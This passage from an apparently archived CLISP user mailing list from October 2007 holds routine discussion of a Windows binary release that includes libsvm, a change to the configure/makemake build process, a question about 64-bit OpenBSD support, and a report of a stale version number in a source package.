text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp-2.42-win32-with-readline-and-gettext.zip X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 18 Oct 2007 13:22:57 -0000 Yaroslav Kavenchuk wrote: > Sam Steingold wrote: >> BTW, why do both you and Jack omit libsvm from the release? >> >> I understand that you might not be excited by a data mining package, but >> it is valuable to a part of our target audience (AI researchers). >> >> It is recommended in unix/INSTALL, section "Additional Information for >> Maintainers of Binary Packages", item 3 "Module selection". > > `clisp-2.42-win32-with-readline-and-gettext.zip` with module libsvm: > http://kavenchuk.googlepages.com/clisp-2.42-win32-with-readline-gette.zip > > Upload it to sf.net? If upload - with new or old name? yes, please upload it - but with a new name, e.g., clisp-2.42-win32-rl-gt-svm.zip because the original package is not broken, so this is not a replacement. please also submit the exact new package description as I should paste it into the release notes. thanks. Sam. From sds@gnu.org Thu Oct 18 07:20:12 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IiWEM-0001Au-TT for clisp-list@lists.sourceforge.net; Thu, 18 Oct 2007 07:20:11 -0700 Received: from www.janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1IiWEI-0003zM-Mq for clisp-list@lists.sourceforge.net; Thu, 18 Oct 2007 07:20:10 -0700 Received: from [172.25.131.105] [38.96.172.125] by janestcapital.com with ESMTP (SMTPD-9.10) id AB8E03DC; Thu, 18 Oct 2007 10:19:58 -0400 Message-ID: <47176B8D.5070401@gnu.org> Date: Thu, 18 Oct 2007 10:19:57 -0400 From: Sam Steingold User-Agent: Thunderbird 2.0.0.0 (X11/20070326) MIME-Version: 1.0 Followup-To: gmane.lisp.clisp.general To: "Marijn Schouten (hkBst)" References: <471605B7.50600@gentoo.org> <47160E43.1010801@gnu.org> <47161724.8040905@gentoo.org> <47166E5B.50209@podval.org> <47173661.4010603@gentoo.org> In-Reply-To: <47173661.4010603@gentoo.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp build process X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 18 Oct 2007 14:20:12 -0000 Marijn Schouten (hkBst) wrote: > > Yes. Because "configure --build" includes running tests my build script calls > makemake (and other steps) separately, but with almost the same options. This > is so that users can choose for themselves whether they want to run the tests > or not. I imagine it's simple enough to exclude tests from "configure > - --build". Would you accept a patch for such a change? I am thinking in a different direction. the standard GNU build process looks like this: ./configure && make && make install I want to invoke makemake at the end of the configure step, so that the user will always have a makefile (he will be able to re-run makemake if he wishes to, of course). this would mean that for you the process will look like ./configure ....options... make make check [optional] make install without the need for makemake invocation. Comments? >> next time, please send a URL. >> this list has a very strict anti-spam rules, including "no html", "no >> attachments" etc etc. >> http://clisp.cons.org/impnotes/faq.html#faq-rejected > > Sorry about that. that's OK. thanks for understanding. From hkBst@gentoo.org Thu Oct 18 08:51:32 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IiXel-0004EK-DJ for clisp-list@lists.sourceforge.net; Thu, 18 Oct 2007 08:51:31 -0700 Received: from castor.sshunet.nl ([145.97.192.41]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1IiXeh-0005U0-Md for clisp-list@lists.sourceforge.net; Thu, 18 Oct 2007 08:51:31 -0700 Received: from localhost (localhost.localdomain [127.0.0.1]) by castor.sshunet.nl (Postfix) with ESMTP id 9778457C008 for ; Thu, 18 Oct 2007 17:51:17 +0200 (CEST) X-Virus-Scanned: Debian amavisd-new at castor.sshunet.nl Received: from castor.sshunet.nl ([127.0.0.1]) by localhost (castor.sshunet.nl [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id Mni5yCKZTmJb for ; Thu, 18 Oct 2007 17:51:17 +0200 (CEST) Received: from [145.97.222.45] (45pc222.sshunet.nl [145.97.222.45]) by castor.sshunet.nl (Postfix) with ESMTP for ; Thu, 18 Oct 2007 17:51:17 +0200 (CEST) Message-ID: <471781AE.1040401@gentoo.org> Date: Thu, 18 Oct 2007 17:54:22 +0200 From: "Marijn Schouten (hkBst)" User-Agent: Thunderbird 2.0.0.6 (X11/20070802) MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <471605B7.50600@gentoo.org> <47160E43.1010801@gnu.org> <47161724.8040905@gentoo.org> <47166E5B.50209@podval.org> <47173661.4010603@gentoo.org> <47176B8D.5070401@gnu.org> In-Reply-To: <47176B8D.5070401@gnu.org> X-Enigmail-Version: 0.95.3 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] clisp build process X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 18 Oct 2007 15:51:32 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Sam Steingold wrote: > Marijn Schouten (hkBst) wrote: >> >> Yes. Because "configure --build" includes running tests my build >> script calls >> makemake (and other steps) separately, but with almost the same >> options. This >> is so that users can choose for themselves whether they want to run >> the tests >> or not. I imagine it's simple enough to exclude tests from "configure >> - --build". Would you accept a patch for such a change? > > I am thinking in a different direction. > the standard GNU build process looks like this: > > ./configure && make && make install > > I want to invoke makemake at the end of the configure step, so that the > user will always have a makefile (he will be able to re-run makemake if > he wishes to, of course). > this would mean that for you the process will look like > > ./configure ....options... > make > make check [optional] > make install > > without the need for makemake invocation. > > Comments? Looks good to me. Will "make config.lisp" be absorbed by "make" or by "configure"? Marijn - -- Marijn Schouten (hkBst), Gentoo Lisp project , #gentoo-lisp on FreeNode -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.7 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFHF4Gup/VmCx0OL2wRAh7dAKDF2l4kkbltC7HjWMp7mYiQc/ZXJQCePnt5 kdfQ1PSZnKfgnMQ3QIiw/uE= =K1gJ -----END PGP SIGNATURE----- From sds@gnu.org Thu Oct 18 09:08:32 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IiXvD-0006kV-8X for clisp-list@lists.sourceforge.net; Thu, 18 Oct 2007 09:08:31 -0700 Received: from janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1IiXvA-0002h9-Mi for clisp-list@lists.sourceforge.net; Thu, 18 Oct 2007 09:08:31 -0700 Received: from [172.25.131.105] [38.96.172.125] by janestcapital.com with ESMTP (SMTPD-9.10) id A4F604A8; Thu, 18 Oct 2007 12:08:22 -0400 Message-ID: <471784F5.9040608@gnu.org> Date: Thu, 18 Oct 2007 12:08:21 -0400 From: Sam Steingold User-Agent: Thunderbird 2.0.0.0 (X11/20070326) MIME-Version: 1.0 Followup-To: gmane.lisp.clisp.general To: "Marijn Schouten (hkBst)" References: <471605B7.50600@gentoo.org> <47160E43.1010801@gnu.org> <47161724.8040905@gentoo.org> <47166E5B.50209@podval.org> <47173661.4010603@gentoo.org> <47176B8D.5070401@gnu.org> <471781AE.1040401@gentoo.org> In-Reply-To: <471781AE.1040401@gentoo.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp build process X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 18 Oct 2007 16:08:32 -0000 Marijn Schouten (hkBst) wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Sam Steingold wrote: >> Marijn Schouten (hkBst) wrote: >>> Yes. Because "configure --build" includes running tests my build >>> script calls >>> makemake (and other steps) separately, but with almost the same >>> options. This >>> is so that users can choose for themselves whether they want to run >>> the tests >>> or not. I imagine it's simple enough to exclude tests from "configure >>> - --build". Would you accept a patch for such a change? >> I am thinking in a different direction. >> the standard GNU build process looks like this: >> >> ./configure && make && make install >> >> I want to invoke makemake at the end of the configure step, so that the >> user will always have a makefile (he will be able to re-run makemake if >> he wishes to, of course). >> this would mean that for you the process will look like >> >> ./configure ....options... >> make >> make check [optional] >> make install >> >> without the need for makemake invocation. >> >> Comments? > > Looks good to me. Will "make config.lisp" be absorbed by "make" or by "configure"? _you_ will never have to type it. actually, you had to type it only if you wanted to edit config.lisp. From sds@podval.org Thu Oct 18 10:56:50 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IiZc2-0002M3-2d for clisp-list@lists.sourceforge.net; Thu, 18 Oct 2007 10:56:50 -0700 Received: from www.janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1IiZc0-0007Mm-LQ for clisp-list@lists.sourceforge.net; Thu, 18 Oct 2007 10:56:50 -0700 Received: from [172.25.131.105] [38.96.172.125] by janestcapital.com with ESMTP (SMTPD-9.10) id AE590598; Thu, 18 Oct 2007 13:56:41 -0400 Message-ID: <47179E58.4060402@podval.org> Date: Thu, 18 Oct 2007 13:56:40 -0400 From: Sam Steingold User-Agent: Thunderbird 2.0.0.0 (X11/20070326) MIME-Version: 1.0 To: Yaroslav Kavenchuk References: <47170D4D.2090307@jenty.by> <47175E23.8080701@gnu.org> <47179912.7040202@tut.by> In-Reply-To: <47179912.7040202@tut.by> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp-2.42-win32-with-readline-and-gettext.zip X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 18 Oct 2007 17:56:50 -0000 Yaroslav Kavenchuk wrote: > Sam Steingold wrote: >> yes, please upload it - but with a new name, e.g., >> clisp-2.42-win32-rl-gt-svm.zip >> because the original package is not broken, >> so this is not a replacement. >> please also submit the exact new package description >> as I should paste it into the release notes. > > clisp-2.42-win32-rl-gt-svm.zip released. thanks. > built by Yaroslav Kavenchuk > using mingw with readline, gettext, i18n, rawsock, dirkey, > wildcard, bindings/win32, pcre, zlib and libsvm. is regexp included too? From kavenchuk@tut.by Thu Oct 18 10:34:24 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IiZGJ-0008Vr-C4 for clisp-list@lists.sourceforge.net; Thu, 18 Oct 2007 10:34:24 -0700 Received: from mail.tut.by ([195.137.160.40] helo=speedy.tutby.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1IiZGH-0005mu-Oo for clisp-list@lists.sourceforge.net; Thu, 18 Oct 2007 10:34:23 -0700 Received: from [194.158.220.48] (account kavenchuk@tut.by [194.158.220.48] verified) by speedy.tutby.com (CommuniGate Pro SMTP 5.1.12) with ESMTPSA id 413978254; Thu, 18 Oct 2007 20:33:52 +0300 Message-ID: <47179912.7040202@tut.by> Date: Thu, 18 Oct 2007 20:34:10 +0300 From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.8.1.6) Gecko/20070802 SeaMonkey/1.1.4 MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <47170D4D.2090307@jenty.by> <47175E23.8080701@gnu.org> In-Reply-To: <47175E23.8080701@gnu.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO X-Mailman-Approved-At: Thu, 18 Oct 2007 11:12:51 -0700 Cc: Sam Steingold Subject: Re: [clisp-list] clisp-2.42-win32-with-readline-and-gettext.zip X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 18 Oct 2007 17:34:24 -0000 Sam Steingold wrote: > yes, please upload it - but with a new name, e.g., > clisp-2.42-win32-rl-gt-svm.zip > because the original package is not broken, > so this is not a replacement. > please also submit the exact new package description > as I should paste it into the release notes. clisp-2.42-win32-rl-gt-svm.zip built by Yaroslav Kavenchuk using mingw with readline, gettext, i18n, rawsock, dirkey, wildcard, bindings/win32, pcre, zlib and libsvm. -- WBR, Yaroslav Kavenchuk. From bruno@clisp.org Thu Oct 18 15:27:14 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Iidpi-0003ao-3z for clisp-list@lists.sourceforge.net; Thu, 18 Oct 2007 15:27:14 -0700 Received: from mo-p07-ob.rzone.de ([81.169.146.189]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Iidpg-0005TU-F5 for clisp-list@lists.sourceforge.net; Thu, 18 Oct 2007 15:27:14 -0700 Received: from linuix.haible.de ([81.210.217.73]) by post.webmailer.de (fruni mo55) (RZmta 13.6) with ESMTP id y03a23j9IJRw41 ; Fri, 19 Oct 2007 00:27:08 +0200 (MEST) (envelope-from: ) From: Bruno Haible To: Sam Steingold Date: Fri, 19 Oct 2007 00:27:05 +0200 User-Agent: KMail/1.5.4 References: <47173661.4010603@gentoo.org> <47176B8D.5070401@gnu.org> In-Reply-To: <47176B8D.5070401@gnu.org> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200710190027.05949.bruno@clisp.org> X-RZG-AUTH: gMysVb8JT2gB+rFDu0PuvnPihAP8oFdePhw95HsN8T+WAEY7QaSDm1JE X-RZG-CLASS-ID: mo07 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp build process X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 18 Oct 2007 22:27:14 -0000 Sam, > the standard GNU build process looks like this: > > ./configure && make && make install > > I want to invoke makemake at the end of the configure step, so that the > user will always have a makefile (he will be able to re-run makemake if > he wishes to, of course). > this would mean that for you the process will look like > > ./configure ....options... > make > make check [optional] > make install > > without the need for makemake invocation. > > Comments? Yes, please. This is the way to go. There's not much point in showing a "recommended" way to invoke makemake. Most of the time, the user runs just this recommendation. For people who don't agree with the recommendations, GNU standards say that the user should invoke configure again, with different --enable-... or --disable-... options. Yes, it takes a little more time to do so, but a configure run does not take 15 minutes any more, as it did 10 years ago. The more 'configure' behaves in a standard way, the easier to use it is for people. Bruno From kavenchuk@tut.by Thu Oct 18 11:22:56 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Iia1H-00052Z-T5 for clisp-list@lists.sourceforge.net; Thu, 18 Oct 2007 11:22:56 -0700 Received: from mail.tut.by ([195.137.160.40] helo=speedy.tutby.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Iia1G-0005yR-EZ for clisp-list@lists.sourceforge.net; Thu, 18 Oct 2007 11:22:55 -0700 Received: from [194.158.220.48] (account kavenchuk@tut.by [194.158.220.48] verified) by speedy.tutby.com (CommuniGate Pro SMTP 5.1.12) with ESMTPSA id 413997950 for clisp-list@lists.sourceforge.net; Thu, 18 Oct 2007 21:22:28 +0300 Message-ID: <4717A479.2030807@tut.by> Date: Thu, 18 Oct 2007 21:22:49 +0300 From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.8.1.6) Gecko/20070802 SeaMonkey/1.1.4 MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <47170D4D.2090307@jenty.by> <47175E23.8080701@gnu.org> <47179912.7040202@tut.by> <47179E58.4060402@podval.org> In-Reply-To: <47179E58.4060402@podval.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 1.2 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.2 UPPERCASE_25_50 message body is 25-50% uppercase X-Mailman-Approved-At: Thu, 18 Oct 2007 18:43:48 -0700 Subject: Re: [clisp-list] clisp-2.42-win32-with-readline-and-gettext.zip X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 18 Oct 2007 18:22:56 -0000 Sam Steingold wrote: >> built by Yaroslav Kavenchuk >> using mingw with readline, gettext, i18n, rawsock, dirkey, >> wildcard, bindings/win32, pcre, zlib and libsvm. > > is regexp included too? Yes $ ./clisp -K full --version GNU CLISP 2.42 (2007-10-16) (built on stnt067 [192.168.0.1]) Software: GNU C 3.4.5 (mingw special) gcc -mno-cygwin -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -falign-functions=4 -D_WIN32 -DUNICODE -DDYNAMIC_FFI -I. -x none /usr/local/lib/libintl.a -L/usr/local/lib -L/mingw/lib /usr/local/lib/libiconv.a -L/usr/local/lib libcharset.a libavcall.a libcallback.a /usr/local/lib/libreadline.a -ltermcap -luser32 -lws2_32 -lole32 -loleaut32 -luuid /usr/local/lib/libiconv.a -L/usr/local/lib -L/mingw/lib -L/usr/local/lib -lsigsegv SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY libsigsegv 2.4 libiconv 1.11 libreadline 5.0 Features: (ZLIB RAWSOCK PCRE WILDCARD DIRKEY READLINE REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE BASE-CHAR=CHARACTER PC386 WIN32) C Modules: (clisp i18n syscalls regexp readline dirkey wildcard pcre rawsock zlib) Installation directory: C:\clisp-2.42\ User language: ENGLISH Machine: PC/386 (PC/686) home [194.158.220.48] -- WBR, Yaroslav Kavenchuk. From rurban@x-ray.at Thu Oct 18 23:32:18 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IilP7-0005qM-SG for clisp-list@lists.sourceforge.net; Thu, 18 Oct 2007 23:32:18 -0700 Received: from mx06.lb01.inode.at ([62.99.145.6] helo=mx.inode.at) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1IilP6-0004i4-7v for clisp-list@lists.sourceforge.net; Thu, 18 Oct 2007 23:32:17 -0700 Received: from [62.99.252.218] (port=9910 helo=[192.168.1.7]) by smartmx-06.inode.at with esmtpsa (TLS-1.0:DHE_RSA_AES_256_CBC_SHA:32) (Exim 4.50) id 1IilP1-0006j1-4s for clisp-list@lists.sourceforge.net; Fri, 19 Oct 2007 08:32:11 +0200 Message-ID: <47184F73.2040103@x-ray.at> Date: Fri, 19 Oct 2007 08:32:19 +0200 From: Reini Urban User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.8.1.6) Gecko/20070802 SeaMonkey/1.1.4 MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <471663CE.60207@gmail.com> <471669E7.5000902@podval.org> In-Reply-To: <471669E7.5000902@podval.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO X-Mailman-Approved-At: Sat, 20 Oct 2007 20:07:07 -0700 Subject: Re: [clisp-list] clisp-2.42-win32-with-readline-and-gettext.zip X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 19 Oct 2007 06:32:18 -0000 Sam Steingold schrieb: > Yaroslav Kavenchuk wrote: >> I have uploaded clisp-2.42-win32-with-readline-and-gettext.zip to >> upload.sf.net/incoming >> clisp-2.42-win32-with-readline-and-gettext.zip >> built by Yaroslav Kavenchuk >> using mingw with readline, gettext, i18n, rawsock, dirkey, wildcard, >> bindings/win32, >> pcre and zlib. > > BTW, why do both you and Jack omit libsvm from the release? > > I understand that you might not be excited by a data mining package, but > it is valuable to a part of our target audience (AI researchers). I'll include it in cygwin, also new-clx from now on (together with the new gdbm of course), but the bad news is that the cygwin package will need some more days, because I'm moving to Vienna for two weeks. With my experimental win32 gdi module: I believe I'll seperate it into its own new clisp-gdi package to avoid confusion. -- Reini Urban - cygwin maintainer of clisp From dfeustel@mindspring.com Sun Oct 21 07:14:59 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IjbZz-00007w-Be for clisp-list@lists.sourceforge.net; Sun, 21 Oct 2007 07:14:59 -0700 Received: from sccrmhc14.comcast.net ([63.240.77.84]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1IjbZy-0007GL-1n for clisp-list@lists.sourceforge.net; Sun, 21 Oct 2007 07:14:59 -0700 Date: Sun, 21 Oct 2007 14:14:49 +0000 (GMT) X-Comment: Sending client does not conform to RFC822 minimum requirements X-Comment: Date has been added by Maillennium Received: from localhost (c-69-245-196-200.hsd1.in.comcast.net[69.245.196.200]) by comcast.net (sccrmhc14) with SMTP id <2007102114144801400laho4e>; Sun, 21 Oct 2007 14:14:49 +0000 To: clisp-list@lists.sourceforge.net From: dfeustel@mindspring.com Message-ID: X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NO_REAL_NAME From: does not include a real name Subject: [clisp-list] 64-bit CLISP - Does it exist? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: dfeustel@mindspring.com List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 21 Oct 2007 14:14:59 -0000 I'm running 64-bit AMD OpenBSD 4.2 and I would like to use CLisp, but OpenBSD provides no 64-bit version of CLISP because of a loader problem. Is this problem going to be fixed? Thanks, Dave Feustel -- From clisp@bignoli.it Sun Oct 21 07:40:08 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IjbyJ-0002bj-PA for clisp-list@lists.sourceforge.net; Sun, 21 Oct 2007 07:40:07 -0700 Received: from smtpi1.ngi.it ([88.149.128.20]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1IjbyF-0005Qd-MV for clisp-list@lists.sourceforge.net; Sun, 21 Oct 2007 07:40:05 -0700 Received: from zayn.local.lan (88-149-139-103.dynamic.ngi.it [88.149.139.103]) by smtpi1.ngi.it (8.13.8/8.13.8) with ESMTP id l9LEdu5n008205 for ; Sun, 21 Oct 2007 16:39:56 +0200 Received: from zayn.local.lan (localhost [127.0.0.1]) by zayn.local.lan (8.14.1/8.14.1) with ESMTP id l9LEdtSN021831 for ; Sun, 21 Oct 2007 16:39:55 +0200 Received: (from aurelio@localhost) by zayn.local.lan (8.14.1/8.14.1/Submit) id l9LEdttM021828; Sun, 21 Oct 2007 16:39:55 +0200 From: Aurelio Bignoli MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <18203.25767.157658.86511@zayn.local.lan> Date: Sun, 21 Oct 2007 16:39:35 +0200 To: clisp-list@lists.sourceforge.net X-Mailer: VM 7.19 under Emacs 21.4.2 X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] Wrong version number in source package X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 21 Oct 2007 14:40:08 -0000 I just downloaded and compiled clisp-2.42.tar.bz2 from Sourceforge: CL-USER> (lisp-implementation-version) "2.41.1 (2007-10-12) (built 3401963735) (memory 3401964241)" CL-USER> src/version.h has not been updated. From sds@gnu.org Sun Oct 21 09:13:31 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IjdQh-0006UT-AP for clisp-list@lists.sourceforge.net; Sun, 21 Oct 2007 09:13:31 -0700 Received: from mta5.srv.hcvlny.cv.net ([167.206.4.200]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1IjdQf-0005YI-2b for clisp-list@lists.sourceforge.net; Sun, 21 Oct 2007 09:13:31 -0700 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta5.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-8.04 (built Feb 28 2007)) with ESMTP id <0JQ900JCHRQASJ70@mta5.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Sun, 21 Oct 2007 12:13:22 -0400 (EDT) Received: from [127.0.0.1] (localhost [127.0.0.1]) by loiso.podval.org (Postfix) with ESMTP id 47C1621DEB0; Sun, 21 Oct 2007 12:13:22 -0400 (EDT) Date: Sun, 21 Oct 2007 12:13:21 -0400 From: Sam Steingold In-reply-to: To: dfeustel@mindspring.com Message-id: <471B7AA1.1010707@gnu.org> MIME-version: 1.0 Content-type: text/plain; charset=ISO-8859-1; format=flowed Content-transfer-encoding: 7BIT Followup-to: gmane.lisp.clisp.general References: User-Agent: Thunderbird 1.5.0.12 (X11/20070719) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO X-Mailman-Approved-At: Sun, 21 Oct 2007 12:13:53 -0700 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] 64-bit CLISP - Does it exist? X-BeenThere: 